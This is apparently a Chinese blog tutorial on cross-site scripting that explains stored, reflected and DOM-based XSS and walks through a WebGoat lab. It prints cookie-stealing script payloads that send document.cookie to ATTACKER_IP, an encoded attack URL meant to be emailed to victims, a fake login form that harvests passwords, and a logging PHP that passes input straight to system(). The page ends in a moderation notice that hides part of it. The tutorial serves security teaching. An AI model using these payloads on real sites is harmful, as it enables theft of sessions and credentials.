最后更新:wildlinux 20161019
XSS一直是OWASP排名前三的漏洞。
简单说,就是在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。
The attack vector is stored at the server
这是最容易理解的一种。在任何BBS的帖子中,只要是能留言的地方,在输入留言的地方输入脚本,如果服务器后台过滤不严格,将该脚本存储到后台。那随后任何用户浏览该网页,服务器都会从后台提取所有用户留言,包括恶意脚本,生成网页,发给浏览者,那浏览者都会"收到"该脚本,并在其浏览器中运行。
攻击场景:
<script>
str="http://ATTACKER_IP/attacker.php?para=" + document.cookie;
XSSImage=new Image;
XSSImage.src=str;
</script>
The attack value is ‘reflected’ back by the server
Reflect即"反射"。攻击者发出的攻击代码 被 有漏洞的服务器,反射到受害者的浏览器中。
攻击场景:
http://www.somebank.com/help.php?clientname=<script>str="http://ATTACKER_IP/attacker.php?para="+document.cookie;XSSImage=new Image;XSSImage.src=str;</script>
当然这只是个最初的原理演示,不能真正用起来。然后我们需要将其中的符号替换为编码,如空格替换为%20。最后大约会是如下这个样子:
http://www.somebank.com/help.php?clientname%3d%3cscript%3estr%3d%22http%3a%2f%2fATTACKER_IP%2fattacker.php%3fpara%3d%22%2bdocument.cookie%3bXSSImage%3dnew+Image%3bXSSImage.src%3dstr%3b%3c%2fscript%3e
这个URL其实也没实际验证哦:)
The vulnerability is in the client side code
JavaScript提到的DOM模型大家得知道吧,就是代表当前网页的对象。JavaScript就是利用DOM来动态更改网页的内容的,这里的"动态更改"是由可以直接在浏览器里运行JavaScript来实现的。和后台服务器没关系了。
现在的网页,编写的越来越复杂,会有大量的javascript脚本,在本地做大量的处理。不信你随便看一个网站的源代码,都是javascript动态交互的代码。没真正搞过web开发的很难看懂。
我们呢,还是说最简单的例子吧。
1.也得有个有漏洞的服务器网页吧。和反射类型的类似。不同之处在于,反射式漏洞是后台PHP将clientname直接显示在网页中。DOM类型漏洞的是Javascript将数据未加验证动态添加到网页中。
http://somebank.com/help2.php?clientname=Joe
Hello
<script>
var pos=document.URL.indexOf("clientname=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
2.就举的这个例子而言,后面的攻击利用流程和反射式的一样。
其实就是一个网页,URL是http://127.0.0.1:8088/imgsrc.php?username=hi&password=pwd&ck=ck
作用就是将传来的三个参数保存到lyd.log中。
<!DOCTYPE html>
<html>
<body>
<?php
echo "这个PHP是用来保存传过来的参数的!";
$uname=($_GET["username"]);
$pwd=($_GET["password"]);
$ck=($_GET["ck"]);
system("echo `date`:".$uname.".".$pwd.".".$ck." >> /var/www/html/lyd.log");
?>
</body>
</html>
<script>
function hack(){
str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;
str2="http://127.0.0.1:8088/imgsrc.php?" + str;
XSSImage=new Image;
XSSImage.src=str2;
alert(str2);
}
</script>
</form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="submit" value="Login" onclick="hack()"><br>
</form><br><br><HR>
1.在题目输入 **Enter your three digit access code:**的地方,输入如下内容:
<script> str="http://127.0.0.1:8088/imgsrc.php?ck=" + document.cookie; XSSImage=new Image; XSSImage.src=str; </script>
2.点击Purchase
3.查看log
最后一行就是刚窃取来的
root@KaliYL:/var/www/html# more lyd.log
Wed Oct 19 09:40:12 CST 2016:hi.pwd.ck
Wed Oct 19 09:40:30 CST 2016:hi.pwd.ck
Wed Oct 19 09:40:30 CST 2016:hi.pwd.ck
Wed Oct 19 09:42:52 CST 2016:hi.pwd.ck
Wed Oct 19 09:49:45 CST 2016:hi.pwd.ck
Wed Oct 19 09:50:30 CST 2016:hi.pwd.ck
Wed Oct 19 09:50:33 CST 2016:hi.pwd.ck
Wed Oct 19 09:53:01 CST 2016:..BEEFHOOK=B2fglB6iKDtgNIQYjC3L79QWC0BNuVeyeSBdlXWu
kUdJRxWCiIkuqqZYx19fSVhN2ImehIfAaUzriMbi
4.构造攻击URL
点击Purchase时,使用Burpsuite抓包:
GET /WebGoat/attack?Screen=288&menu=900&QTY1=1&QTY2=1&QTY3=1&QTY4=1&field2=4128+3214+0002+1999&field1=%3Cscript%3E++str%3D%22http%3A%2F%2F127.0.0.1%3A8088%2Fimgsrc.php%3Fck%3D%22+%2B+document.cookie%3B+++XSSImage%3Dnew+Image%3B+++XSSImage.src%3Dstr%3B+%3C%2Fscript%3E&SUBMIT=Purchase HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Cookie: JSESSIONID=B95E6670158F9DC7A5C1C21DAA71503B; BEEFHOOK=B2fglB6iKDtgNIQYjC3L79QWC0BNuVeyeSBdlXWukUdJRxWCiIkuqqZYx19fSVhN2ImehIfAaUzriMbi; BEEFSESSION=dd160591ae730450e8d67e8fdaebd99efcb99ae26f9c323f68bfe5758f8c347a87aa68b174d1dd79d5d05eaa9a9620fda3ba9e96c23c890b9a7b599b40a029bae753deda6abf3948ce074640b8ae7884
Connection: close
其中一段就是攻击URL,给它前面拼接上http://webgoatIP:port,就可以邮件给别人了。
/WebGoat/attack?Screen=288&menu=900&QTY1=1&QTY2=1&QTY3=1&QTY4=1&field2=4128+3214+0002+1999&field1=%3Cscript%3E++str%3D%22http%3A%2F%2F127.0.0.1%3A8088%2Fimgsrc.php%3Fck%3D%22+%2B+document.cookie%3B+++XSSImage%3Dnew+Image%3B+++XSSImage.src%3Dstr%3B+%3C%2Fscript%3E&SUBMIT=Purchase
有效攻击的条件:
上面的例子都是偷cookie,那这个小甜饼真的很甜吗?咱这么招人爱呢?
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。